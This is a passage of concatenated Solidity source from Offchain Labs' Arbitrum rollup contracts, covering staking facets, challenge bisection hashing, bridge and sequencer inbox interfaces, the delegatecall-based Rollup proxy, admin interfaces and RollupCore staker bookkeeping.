*/
function requireUnresolvedExists() public view override {
uint256 firstUnresolved = firstUnresolvedNode();
require(
firstUnresolved > latestConfirmed() && firstUnresolved <= latestNodeCreated(),
"NO_UNRESOLVED"
);
}
function requireUnresolved(uint256 nodeNum) public view override {
require(nodeNum >= firstUnresolvedNode(), "ALREADY_DECIDED");
require(nodeNum <= latestNodeCreated(), "DOESNT_EXIST");
}
/**
* @notice Verify that the given address is staked and not actively in a challenge
* @param stakerAddress Address to check
*/
function requireUnchallengedStaker(address stakerAddress) private view {
require(isStaked(stakerAddress), "NOT_STAKED");
require(currentChallenge(stakerAddress) == address(0), "IN_CHAL");
}
function withdrawStakerFunds(address payable destination) external virtual returns (uint256);
}
contract RollupUserFacet is AbsRollupUserFacet {
function initialize(address _stakeToken) public override {
require(_stakeToken == address(0), "NO_TOKEN_ALLOWED");
// stakeToken = _stakeToken;
}
/**
* @notice Create a new stake
* @dev It is recomended to call stakeOnExistingNode after creating a new stake
* so that a griefer doesn't remove your stake by immediately calling returnOldDeposit
*/
function newStake() external payable onlyValidator whenNotPaused {
_newStake(msg.value);
}
/**
* @notice Increase the amount staked eth for the given staker
* @param stakerAddress Address of the staker whose stake is increased
*/
function addToDeposit(address stakerAddress) external payable onlyValidator whenNotPaused {
_addToDeposit(stakerAddress, msg.value);
}
/**
* @notice Withdraw uncomitted funds owned by sender from the rollup chain
* @param destination Address to transfer the withdrawn funds to
*/
function withdrawStakerFunds(address payable destination)
external
override
onlyValidator
whenNotPaused
returns (uint256)
{
uint256 amount = withdrawFunds(msg.sender);
// Note: This is an unsafe external call and could be used for reentrency
// This is safe because it occurs after all checks and effects
destination.transfer(amount);
return amount;
}
}
contract ERC20RollupUserFacet is AbsRollupUserFacet {
function initialize(address _stakeToken) public override {
require(_stakeToken != address(0), "NEED_STAKE_TOKEN");
require(stakeToken == address(0), "ALREADY_INIT");
stakeToken = _stakeToken;
}
/**
* @notice Create a new stake
* @dev It is recomended to call stakeOnExistingNode after creating a new stake
* so that a griefer doesn't remove your stake by immediately calling returnOldDeposit
* @param tokenAmount the amount of tokens staked
*/
function newStake(uint256 tokenAmount) external onlyValidator whenNotPaused {
_newStake(tokenAmount);
require(
IERC20(stakeToken).transferFrom(msg.sender, address(this), tokenAmount),
"TRANSFER_FAIL"
);
}
/**
* @notice Increase the amount staked tokens for the given staker
* @param stakerAddress Address of the staker whose stake is increased
* @param tokenAmount the amount of tokens staked
*/
function addToDeposit(address stakerAddress, uint256 tokenAmount)
external
onlyValidator
whenNotPaused
{
_addToDeposit(stakerAddress, tokenAmount);
require(
IERC20(stakeToken).transferFrom(msg.sender, address(this), tokenAmount),
"TRANSFER_FAIL"
);
}
/**
* @notice Withdraw uncomitted funds owned by sender from the rollup chain
* @param destination Address to transfer the withdrawn funds to
*/
function withdrawStakerFunds(address payable destination)
external
override
onlyValidator
whenNotPaused
returns (uint256)
{
uint256 amount = withdrawFunds(msg.sender);
// Note: This is an unsafe external call and could be used for reentrency
// This is safe because it occurs after all checks and effects
require(IERC20(stakeToken).transfer(destination, amount), "TRANSFER_FAILED");
return amount;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
interface IOneStepProof {
// Bridges is sequencer bridge then delayed bridge
function executeStep(
address[2] calldata bridges,
uint256 initialMessagesRead,
bytes32[2] calldata accs,
bytes calldata proof,
bytes calldata bproof
)
external
view
returns (
uint64 gas,
uint256 afterMessagesRead,
bytes32[4] memory fields
);
function executeStepDebug(
address[2] calldata bridges,
uint256 initialMessagesRead,
bytes32[2] calldata accs,
bytes calldata proof,
bytes calldata bproof
) external view returns (string memory startMachine, string memory afterMachine);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../libraries/MerkleLib.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library ChallengeLib {
using SafeMath for uint256;
function firstSegmentSize(uint256 totalCount, uint256 bisectionCount)
internal
pure
returns (uint256)
{
return totalCount / bisectionCount + (totalCount % bisectionCount);
}
function otherSegmentSize(uint256 totalCount, uint256 bisectionCount)
internal
pure
returns (uint256)
{
return totalCount / bisectionCount;
}
function bisectionChunkHash(
uint256 _segmentStart,
uint256 _segmentLength,
bytes32 _startHash,
bytes32 _endHash
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_segmentStart, _segmentLength, _startHash, _endHash));
}
function inboxDeltaHash(bytes32 _inboxAcc, bytes32 _deltaAcc) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_inboxAcc, _deltaAcc));
}
function assertionHash(uint256 _arbGasUsed, bytes32 _restHash) internal pure returns (bytes32) {
// Note: make sure this doesn't return Challenge.UNREACHABLE_ASSERTION (currently 0)
return keccak256(abi.encodePacked(_arbGasUsed, _restHash));
}
function assertionRestHash(
uint256 _totalMessagesRead,
bytes32 _machineState,
bytes32 _sendAcc,
uint256 _sendCount,
bytes32 _logAcc,
uint256 _logCount
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
_totalMessagesRead,
_machineState,
_sendAcc,
_sendCount,
_logAcc,
_logCount
)
);
}
function updatedBisectionRoot(
bytes32[] memory _chainHashes,
uint256 _challengedSegmentStart,
uint256 _challengedSegmentLength
) internal pure returns (bytes32) {
uint256 bisectionCount = _chainHashes.length - 1;
bytes32[] memory hashes = new bytes32[](bisectionCount);
uint256 chunkSize = ChallengeLib.firstSegmentSize(_challengedSegmentLength, bisectionCount);
uint256 segmentStart = _challengedSegmentStart;
hashes[0] = ChallengeLib.bisectionChunkHash(
segmentStart,
chunkSize,
_chainHashes[0],
_chainHashes[1]
);
segmentStart = segmentStart.add(chunkSize);
chunkSize = ChallengeLib.otherSegmentSize(_challengedSegmentLength, bisectionCount);
for (uint256 i = 1; i < bisectionCount; i++) {
hashes[i] = ChallengeLib.bisectionChunkHash(
segmentStart,
chunkSize,
_chainHashes[i],
_chainHashes[i + 1]
);
segmentStart = segmentStart.add(chunkSize);
}
return MerkleLib.generateRoot(hashes);
}
function verifySegmentProof(
bytes32 challengeState,
bytes32 item,
bytes32[] calldata _merkleNodes,
uint256 _merkleRoute
) internal pure returns (bool) {
return challengeState == MerkleLib.calculateRoot(_merkleNodes, _merkleRoute, item);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface ICloneable {
function isMaster() external view returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IBridge {
event MessageDelivered(
uint256 indexed messageIndex,
bytes32 indexed beforeInboxAcc,
address inbox,
uint8 kind,
address sender,
bytes32 messageDataHash
);
function deliverMessageToInbox(
uint8 kind,
address sender,
bytes32 messageDataHash
) external payable returns (uint256);
function executeCall(
address destAddr,
uint256 amount,
bytes calldata data
) external returns (bool success, bytes memory returnData);
// These are only callable by the admin
function setInbox(address inbox, bool enabled) external;
function setOutbox(address inbox, bool enabled) external;
// View functions
function activeOutbox() external view returns (address);
function allowedInboxes(address inbox) external view returns (bool);
function allowedOutboxes(address outbox) external view returns (bool);
function inboxAccs(uint256 index) external view returns (bytes32);
function messageCount() external view returns (uint256);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface ISequencerInbox {
event SequencerBatchDelivered(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
bytes32 afterAcc,
bytes transactions,
uint256[] lengths,
uint256[] sectionsMetadata,
uint256 seqBatchIndex,
address sequencer
);
event SequencerBatchDeliveredFromOrigin(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
bytes32 afterAcc,
uint256 seqBatchIndex
);
event DelayedInboxForced(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
uint256 totalDelayedMessagesRead,
bytes32[2] afterAccAndDelayed,
uint256 seqBatchIndex
);
event SequencerAddressUpdated(address newAddress);
function setSequencer(address newSequencer) external;
function messageCount() external view returns (uint256);
function maxDelayBlocks() external view returns (uint256);
function maxDelaySeconds() external view returns (uint256);
function inboxAccs(uint256 index) external view returns (bytes32);
function getInboxAccsLength() external view returns (uint256);
function proveBatchContainsSequenceNumber(bytes calldata proof, uint256 inboxCount)
external
view
returns (uint256, bytes32);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./RollupCore.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/proxy/ProxyAdmin.sol";
import "./RollupEventBridge.sol";
import "./INode.sol";
import "./INodeFactory.sol";
import "../challenge/IChallenge.sol";
import "../challenge/IChallengeFactory.sol";
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/IOutbox.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../bridge/Messages.sol";
import "./RollupLib.sol";
import "../libraries/Cloneable.sol";
import "./facets/IRollupFacets.sol";
abstract contract RollupBase is Cloneable, RollupCore, Pausable {
// Rollup Config
uint256 public confirmPeriodBlocks;
uint256 public extraChallengeTimeBlocks;
uint256 public arbGasSpeedLimitPerBlock;
uint256 public baseStake;
// Bridge is an IInbox and IOutbox
IBridge public delayedBridge;
ISequencerInbox public sequencerBridge;
IOutbox public outbox;
RollupEventBridge public rollupEventBridge;
IChallengeFactory public challengeFactory;
INodeFactory public nodeFactory;
address public owner;
address public stakeToken;
uint256 public minimumAssertionPeriod;
uint256 public sequencerInboxMaxDelayBlocks;
uint256 public sequencerInboxMaxDelaySeconds;
uint256 public challengeExecutionBisectionDegree;
address[] internal facets;
mapping(address => bool) isValidator;
event RollupCreated(bytes32 machineHash);
event NodeCreated(
uint256 indexed nodeNum,
bytes32 indexed parentNodeHash,
bytes32 nodeHash,
bytes32 executionHash,
uint256 inboxMaxCount,
uint256 afterInboxBatchEndCount,
bytes32 afterInboxBatchAcc,
bytes32[3][2] assertionBytes32Fields,
uint256[4][2] assertionIntFields
);
event NodeConfirmed(
uint256 indexed nodeNum,
bytes32 afterSendAcc,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount
);
event NodeRejected(uint256 indexed nodeNum);
event RollupChallengeStarted(
address indexed challengeContract,
address asserter,
address challenger,
uint256 challengedNode
);
event StakerReassigned(address indexed staker, uint256 newNode);
event NodesDestroyed(uint256 indexed startNode, uint256 indexed endNode);
event OwnerFunctionCalled(uint256 indexed id);
}
contract Rollup is RollupBase {
// _rollupParams = [ confirmPeriodBlocks, extraChallengeTimeBlocks, arbGasSpeedLimitPerBlock, baseStake ]
// connectedContracts = [delayedBridge, sequencerInbox, outbox, rollupEventBridge, challengeFactory, nodeFactory]
function initialize(
bytes32 _machineHash,
uint256[4] calldata _rollupParams,
address _stakeToken,
address _owner,
bytes calldata _extraConfig,
address[6] calldata connectedContracts,
address[2] calldata _facets,
uint256[2] calldata sequencerInboxParams
) public {
require(confirmPeriodBlocks == 0, "ALREADY_INIT");
require(_rollupParams[0] != 0, "BAD_CONF_PERIOD");
delayedBridge = IBridge(connectedContracts[0]);
sequencerBridge = ISequencerInbox(connectedContracts[1]);
outbox = IOutbox(connectedContracts[2]);
delayedBridge.setOutbox(connectedContracts[2], true);
rollupEventBridge = RollupEventBridge(connectedContracts[3]);
delayedBridge.setInbox(connectedContracts[3], true);
rollupEventBridge.rollupInitialized(
_rollupParams[0],
_rollupParams[2],
_rollupParams[3],
_stakeToken,
_owner,
_extraConfig
);
challengeFactory = IChallengeFactory(connectedContracts[4]);
nodeFactory = INodeFactory(connectedContracts[5]);
INode node = createInitialNode(_machineHash);
initializeCore(node);
confirmPeriodBlocks = _rollupParams[0];
extraChallengeTimeBlocks = _rollupParams[1];
arbGasSpeedLimitPerBlock = _rollupParams[2];
baseStake = _rollupParams[3];
owner = _owner;
// A little over 15 minutes
minimumAssertionPeriod = 75;
challengeExecutionBisectionDegree = 400;
sequencerInboxMaxDelayBlocks = sequencerInboxParams[0];
sequencerInboxMaxDelaySeconds = sequencerInboxParams[1];
// facets[0] == admin, facets[1] == user
facets = _facets;
(bool success, ) =
_facets[1].delegatecall(
abi.encodeWithSelector(IRollupUser.initialize.selector, _stakeToken)
);
require(success, "FAIL_INIT_FACET");
emit RollupCreated(_machineHash);
}
function createInitialNode(bytes32 _machineHash) private returns (INode) {
bytes32 state =
RollupLib.stateHash(
RollupLib.ExecutionState(
0, // total gas used
_machineHash,
0, // inbox count
0, // send count
0, // log count
0, // send acc
0, // log acc
block.number, // block proposed
1 // Initialization message already in inbox
)
);
return
INode(
nodeFactory.createNode(
state,
0, // challenge hash (not challengeable)
0, // confirm data
0, // prev node
block.number // deadline block (not challengeable)
)
);
}
/**
* Fallback and delegate functions from OZ
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/proxy/TransparentUpgradeableProxy.sol
* And dispatch pattern from EIP-2535: Diamonds
*/
function getFacets() public view returns (address, address) {
return (getAdminFacet(), getUserFacet());
}
function getAdminFacet() public view returns (address) {
return facets[0];
}
function getUserFacet() public view returns (address) {
return facets[1];
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable {
_fallback();
}
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
require(msg.data.length >= 4, "NO_FUNC_SIG");
address rollupOwner = owner;
// if there is an owner and it is the sender, delegate to admin facet
address target =
rollupOwner != address(0) && rollupOwner == msg.sender
? getAdminFacet()
: getUserFacet();
_delegate(target);
}
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../INode.sol";
import "../../bridge/interfaces/IOutbox.sol";
interface IRollupUser {
function initialize(address _stakeToken) external;
function completeChallenge(address winningStaker, address losingStaker) external;
function returnOldDeposit(address stakerAddress) external;
function requireUnresolved(uint256 nodeNum) external view;
function requireUnresolvedExists() external view;
function countStakedZombies(INode node) external view returns (uint256);
}
interface IRollupAdmin {
/**
* @notice Add a contract authorized to put messages into this rollup's inbox
* @param _outbox Outbox contract to add
*/
function setOutbox(IOutbox _outbox) external;
/**
* @notice Disable an old outbox from interacting with the bridge
* @param _outbox Outbox contract to remove
*/
function removeOldOutbox(address _outbox) external;
/**
* @notice Enable or disable an inbox contract
* @param _inbox Inbox contract to add or remove
* @param _enabled New status of inbox
*/
function setInbox(address _inbox, bool _enabled) external;
/**
* @notice Pause interaction with the rollup contract
*/
function pause() external;
/**
* @notice Resume interaction with the rollup contract
*/
function resume() external;
/**
* @notice Set the addresses of rollup logic facets called
* @param newAdminFacet address of logic that owner of rollup calls
* @param newUserFacet ddress of logic that user of rollup calls
*/
function setFacets(address newAdminFacet, address newUserFacet) external;
/**
* @notice Set the addresses of the validator whitelist
* @dev It is expected that both arrays are same length, and validator at
* position i corresponds to the value at position i
* @param _validator addresses to set in the whitelist
* @param _val value to set in the whitelist for corresponding address
*/
function setValidator(address[] memory _validator, bool[] memory _val) external;
/**
* @notice Set a new owner address for the rollup
* @param newOwner address of new rollup owner
*/
function setOwner(address newOwner) external;
/**
* @notice Set minimum assertion period for the rollup
* @param newPeriod new minimum period for assertions
*/
function setMinimumAssertionPeriod(uint256 newPeriod) external;
/**
* @notice Set number of blocks until a node is considered confirmed
* @param newConfirmPeriod new number of blocks until a node is confirmed
*/
function setConfirmPeriodBlocks(uint256 newConfirmPeriod) external;
/**
* @notice Set number of extra blocks after a challenge
* @param newExtraTimeBlocks new number of blocks
*/
function setExtraChallengeTimeBlocks(uint256 newExtraTimeBlocks) external;
/**
* @notice Set speed limit per block
* @param newArbGasSpeedLimitPerBlock maximum arbgas to be used per block
*/
function setArbGasSpeedLimitPerBlock(uint256 newArbGasSpeedLimitPerBlock) external;
/**
* @notice Set base stake required for an assertion
* @param newBaseStake maximum arbgas to be used per block
*/
function setBaseStake(uint256 newBaseStake) external;
/**
* @notice Set the token used for stake, where address(0) == eth
* @dev Before changing the base stake token, you might need to change the
* implementation of the Rollup User facet!
* @param newStakeToken address of token used for staking
*/
function setStakeToken(address newStakeToken) external;
/**
* @notice Set max delay in blocks for sequencer inbox
* @param newSequencerInboxMaxDelayBlocks max number of blocks
*/
function setSequencerInboxMaxDelayBlocks(uint256 newSequencerInboxMaxDelayBlocks) external;
/**
* @notice Set max delay in seconds for sequencer inbox
* @param newSequencerInboxMaxDelaySeconds max number of seconds
*/
function setSequencerInboxMaxDelaySeconds(uint256 newSequencerInboxMaxDelaySeconds) external;
/**
* @notice Set execution bisection degree
* @param newChallengeExecutionBisectionDegree execution bisection degree
*/
function setChallengeExecutionBisectionDegree(uint256 newChallengeExecutionBisectionDegree)
external;
/**
* @notice Updates a whitelist address for its consumers
* @dev setting the newWhitelist to address(0) disables it for consumers
* @param whitelist old whitelist to be deprecated
* @param newWhitelist new whitelist to be used
* @param targets whitelist consumers to be triggered
*/
function updateWhitelistConsumers(
address whitelist,
address newWhitelist,
address[] memory targets
) external;
/**
* @notice Updates a whitelist's entries
* @dev user at position i will be assigned value i
* @param whitelist whitelist to be updated
* @param user users to be updated in the whitelist
* @param val if user is or not allowed in the whitelist
*/
function setWhitelistEntries(
address whitelist,
address[] memory user,
bool[] memory val
) external;
/**
* @notice Updates a sequencer address at the sequencer inbox
* @param newSequencer new sequencer address to be used
*/
function setSequencer(address newSequencer) external;
/**
* @notice Upgrades the implementation of a beacon controlled by the rollup
* @param beacon address of beacon to be upgraded
* @param newImplementation new address of implementation
*/
function upgradeBeacon(address beacon, address newImplementation) external;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./INode.sol";
import "./IRollupCore.sol";
import "./RollupLib.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract RollupCore is IRollupCore {
using SafeMath for uint256;
struct Zombie {
address stakerAddress;
uint256 latestStakedNode;
}
struct Staker {
uint256 index;
uint256 latestStakedNode;
uint256 amountStaked;
// currentChallenge is 0 if staker is not in a challenge
address currentChallenge;
bool isStaked;
}
uint256 private _latestConfirmed;
uint256 private _firstUnresolvedNode;
uint256 private _latestNodeCreated;
uint256 private _lastStakeBlock;
mapping(uint256 => INode) private _nodes;
mapping(uint256 => bytes32) private _nodeHashes;
address payable[] private _stakerList;
mapping(address => Staker) public override _stakerMap;
Zombie[] private _zombies;
mapping(address => uint256) private _withdrawableFunds;
/**
* @notice Get the address of the Node contract for the given node
* @param nodeNum Index of the node
* @return Address of the Node contract
*/
function getNode(uint256 nodeNum) public view override returns (INode) {
return _nodes[nodeNum];
}
/**
* @notice Get the address of the staker at the given index
* @param stakerNum Index of the staker
* @return Address of the staker
*/
function getStakerAddress(uint256 stakerNum) public view override returns (address) {
return _stakerList[stakerNum];
}
/**
* @notice Check whether the given staker is staked
* @param staker Staker address to check
* @return True or False for whether the staker was staked
*/
function isStaked(address staker) public view override returns (bool) {
return _stakerMap[staker].isStaked;
}
/**
* @notice Get the latest staked node of the given staker
* @param staker Staker address to lookup
* @return Latest node staked of the staker
*/
function latestStakedNode(address staker) public view override returns (uint256) {
return _stakerMap[staker].latestStakedNode;
}
/**
* @notice Get the current challenge of the given staker
* @param staker Staker address to lookup
* @return Current challenge of the staker
*/
function currentChallenge(address staker) public view override returns (address) {
return _stakerMap[staker].currentChallenge;
}
/**
* @notice Get the amount staked of the given staker
* @param staker Staker address to lookup
* @return Amount staked of the staker
*/
function amountStaked(address staker) public view override returns (uint256) {
return _stakerMap[staker].amountStaked;
}
/**
* @notice Get the original staker address of the zombie at the given index
* @param zombieNum Index of the zombie to lookup
* @return Original staker address of the zombie
*/
function zombieAddress(uint256 zombieNum) public view override returns (address) {
return _zombies[zombieNum].stakerAddress;
}
/**
* @notice Get Latest node that the given zombie at the given index is staked on
* @param zombieNum Index of the zombie to lookup
* @return Latest node that the given zombie is staked on
*/
function zombieLatestStakedNode(uint256 zombieNum) public view override returns (uint256) {
return _zombies[zombieNum].latestStakedNode;
}
/// @return Current number of un-removed zombies
function zombieCount() public view override returns (uint256) {
return _zombies.length;
}
function isZombie(address staker) public view override returns (bool) {
for (uint256 i = 0; i < _zombies.length; i++) {
if (staker == _zombies[i].stakerAddress) {
return true;
}
}
return false;
}
/**
* @notice Get the amount of funds withdrawable by the given address
* @param owner Address to check the funds of
* @return Amount of funds withdrawable by owner
*/
function withdrawableFunds(address owner) public view override returns (uint256) {
return _withdrawableFunds[owner];
}
/**
* @return Index of the first unresolved node
* @dev If all nodes have been resolved, this will be latestNodeCreated + 1
*/
function firstUnresolvedNode() public view override returns (uint256) {
return _firstUnresolvedNode;
}
/// @return Index of the latest confirmed node
function latestConfirmed() public view override returns (uint256) {
return _latestConfirmed;
}
/// @return Index of the latest rollup node created
function latestNodeCreated() public view override returns (uint256) {
return _latestNodeCreated;
}
/// @return Ethereum block that the most recent stake was created
function lastStakeBlock() public view override returns (uint256) {
return _lastStakeBlock;
}
/// @return Number of active stakers currently staked
function stakerCount() public view override returns (uint256) {
return _stakerList.length;
}
/**
* @notice Initialize the core with an initial node
* @param initialNode Initial node to start the chain with
*/
function initializeCore(INode initialNode) internal {
_nodes[0] = initialNode;
_firstUnresolvedNode = 1;
}
/**
* @notice React to a new node being created by storing it an incrementing the latest node counter
* @param node Node that was newly created
* @param nodeHash The hash of said node
*/
function nodeCreated(INode node, bytes32 nodeHash) internal {
_latestNodeCreated++;
_nodes[_latestNodeCreated] = node;
_nodeHashes[_latestNodeCreated] = nodeHash;
}
/// @return Node hash as of this node number
function getNodeHash(uint256 index) public view override returns (bytes32) {
return _nodeHashes[index];
}
function resetNodeHash(uint256 index) internal {
_nodeHashes[index] = 0;
}
/**
* @notice Update the latest node created
* @param newLatestNodeCreated New value for the latest node created
*/
function updateLatestNodeCreated(uint256 newLatestNodeCreated) internal {
_latestNodeCreated = newLatestNodeCreated;
}
/// @notice Reject the next unresolved node
function rejectNextNode() internal {
destroyNode(_firstUnresolvedNode);
_firstUnresolvedNode++;
}
/// @notice Confirm the next unresolved node
function confirmNextNode() internal {
destroyNode(_latestConfirmed);
_latestConfirmed = _firstUnresolvedNode;
_firstUnresolvedNode++;
}
/// @notice Confirm the next unresolved node
function confirmLatestNode() internal {
destroyNode(_latestConfirmed);
uint256 latestNode = _latestNodeCreated;
_latestConfirmed = latestNode;
_firstUnresolvedNode = latestNode + 1;
}
/**
* @notice Create a new stake
* @param stakerAddress Address of the new staker
* @param depositAmount Stake amount of the new staker
*/
function createNewStake(address payable stakerAddress, uint256 depositAmount) internal {
uint256 stakerIndex = _stakerList.length;
_stakerList.push(stakerAddress);
_stakerMap[stakerAddress] = Staker(
stakerIndex,
_latestConfirmed,
depositAmount,
address(0),
true
);
_lastStakeBlock = block.number;
}
/**
* @notice Check to see whether the two stakers are in the same challenge
* @param stakerAddress1 Address of the first staker
* @param stakerAddress2 Address of the second staker
* @return Address of the challenge that the two stakers are in
*/
function inChallenge(address stakerAddress1, address stakerAddress2)
internal
view
returns (address)
{
Staker storage staker1 = _stakerMap[stakerAddress1];
Staker storage staker2 = _stakerMap[stakerAddress2];
address challenge = staker1.currentChallenge;
require(challenge == staker2.currentChallenge, "IN_CHAL");
require(challenge != address(0), "NO_CHAL");
return challenge;
}
/**
* @notice Make the given staker as not being in a challenge
* @param stakerAddress Address of the staker to remove from a challenge
*/
function clearChallenge(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
staker.currentChallenge = address(0);
}
/**
* @notice Mark both the given stakers as engaged in the challenge
* @param staker1 Address of the first staker
* @param staker2 Address of the second staker
* @param challenge Address of the challenge both stakers are now in
*/
function challengeStarted(
address staker1,
address staker2,
address challenge
) internal {
_stakerMap[staker1].currentChallenge = challenge;
_stakerMap[staker2].currentChallenge = challenge;
}
/**
* @notice Add to the stake of the given staker by the given amount
* @param stakerAddress Address of the staker to increase the stake of
* @param amountAdded Amount of stake to add to the staker
*/
function increaseStakeBy(address stakerAddress, uint256 amountAdded) internal {
Staker storage staker = _stakerMap[stakerAddress];
staker.amountStaked = staker.amountStaked.add(amountAdded);
}
/**
* @notice Reduce the stake of the given staker to the given target
* @param stakerAddress Address of the staker to reduce the stake of
* @param target Amount of stake to leave with the staker
* @return Amount of value released from the stake
*/
function reduceStakeTo(address stakerAddress, uint256 target) internal returns (uint256) {
Staker storage staker = _stakerMap[stakerAddress];
uint256 current = staker.amountStaked;
require(target <= current, "TOO_LITTLE_STAKE");
uint256 amountWithdrawn = current.sub(target);
staker.amountStaked = target;
_withdrawableFunds[stakerAddress] = _withdrawableFunds[stakerAddress].add(amountWithdrawn);
return amountWithdrawn;
}
/**
* @notice Remove the given staker and turn them into a zombie
* @param stakerAddress Address of the staker to remove
*/
function turnIntoZombie(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
_zombies.push(Zombie(stakerAddress, staker.latestStakedNode));
deleteStaker(stakerAddress);
}
/**
* @notice Update the latest staked node of the zombie at the given index
* @param zombieNum Index of the zombie to move
* @param latest New latest node the zombie is staked on
*/
function zombieUpdateLatestStakedNode(uint256 zombieNum, uint256 latest) internal {
_zombies[zombieNum].latestStakedNode = latest;
}
/**
* @notice Remove the zombie at the given index
* @param zombieNum Index of the zombie to remove
*/
function removeZombie(uint256 zombieNum) internal {
_zombies[zombieNum] = _zombies[_zombies.length - 1];
_zombies.pop();
}
/**
* @notice Remove the given staker and return their stake
